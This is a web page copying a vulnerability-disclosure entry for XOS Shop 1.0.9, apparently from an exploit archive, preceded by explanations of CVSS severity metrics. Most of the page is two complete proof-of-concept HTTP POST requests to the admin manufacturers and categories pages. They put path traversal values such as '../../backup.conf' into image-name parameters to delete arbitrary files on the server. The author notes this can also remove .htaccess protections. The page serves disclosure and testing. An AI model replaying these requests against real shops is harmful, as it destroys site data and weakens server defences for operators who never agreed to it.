The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: XOS Shop 1.0.9 Arbitrary File Deletion
# Exploit Title: XOS Shop 1.0.9 - 'Multiple' Arbitrary File Deletion (Authenticated)
# Date: 2021-07-25
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://xos-shop.com
# Software Link: https://github.com/XOS-Shop/xos_shop_system/releases/tag/v1.0.9
# Version: 1.0.9
# Tested on: Windows 10, XAMPP
# Reference: https://github.com/XOS-Shop/xos_shop_system/issues/1
################
# Description #
################
# XOS-Shop is a further development of the well-known open source webshop system "osCommerce". The XOS-Shop prior to version 1.0.9 suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.
##########
# PoC 1 #
##########
Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php
Vulnerable Code: line 66 - xos_shop_v1.0.9\shop\admin\manufacturers.php
Steps to Reproduce:
1. Login as admin
2. Goto Catalog > Manufacturers > edit any manufacturer
3. Upload any image as "Manufacturers Image" and click save button
4. Then, tick "Delete" checkbox and click save button
5. Intercept the request and replace existing image name to any files on the server via parameter "current_manufacturer_image".
# Assumed there is a backup.conf file in web root
PoC #1) param current_manufacturer_image - Deleting backup.conf file in web root
Request:
========
POST /xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------120849309142309531191692203678
Content-Length: 1305
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=edit
Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[2]"
App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[1]"
App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_name[3]"
App
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[2]"
app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[1]"
app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_url[3]"
app.com
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="delete_manufacturer_image"
true
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="current_manufacturer_image"
../../backup.conf
-----------------------------120849309142309531191692203678
Content-Disposition: form-data; name="manufacturers_image"; filename=""
Content-Type: application/octet-stream
-----------------------------120849309142309531191692203678--
---
##########
# PoC 2 #
##########
Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php
Vulnerable Code: line 154-156, 167-169, 421-425, 433-437 - xos_shop_v1.0.9\shop\admin\categories.php
Note: Multiple parameters affected
Steps to Reproduce:
1. Login as admin
2. Goto Catalog > Categories/Products > edit any category
3. Upload any image as "Category Image" if there is no existing image and click save button else,
4. Tick "Delete" checkbox and click save button
5. Intercept the request and replace existing image name to any files on the server via parameter "current_category_image".
# Assumed there is a backup.conf file in web root
PoC #2) param current_category_image - Deleting backup.conf file in web root
Request:
========
POST /xos_shop_v1.0.9/shop/admin/categories.php?action=update_category&cPath=&cpID=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------95672159210084798032704634599
Content-Length: 2524
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php?cPath=&cpID=1&action=new_category
Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_id"
1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="current_category_image"
../../../backup.conf
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="category_name"
Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="current_categories_or_pages_status"
1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="delete_category_image"
true
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_image"; filename=""
Content-Type: application/octet-stream
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="product_list_b"
0
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="sort_order"
10
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_status"
1
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[2]"
Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[1]"
Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_name[3]"
Hardware
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[2]"
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[1]"
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_heading_title[3]"
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[2]"
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[1]"
-----------------------------95672159210084798032704634599
Content-Disposition: form-data; name="categories_or_pages_content[3]"
-----------------------------95672159210084798032704634599--
---
# For more explanation, you can refer to the github issue on XOS-Shop via https://github.com/XOS-Shop/xos_shop_system/issues/1
# The affected version is prior to v1.0.9.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum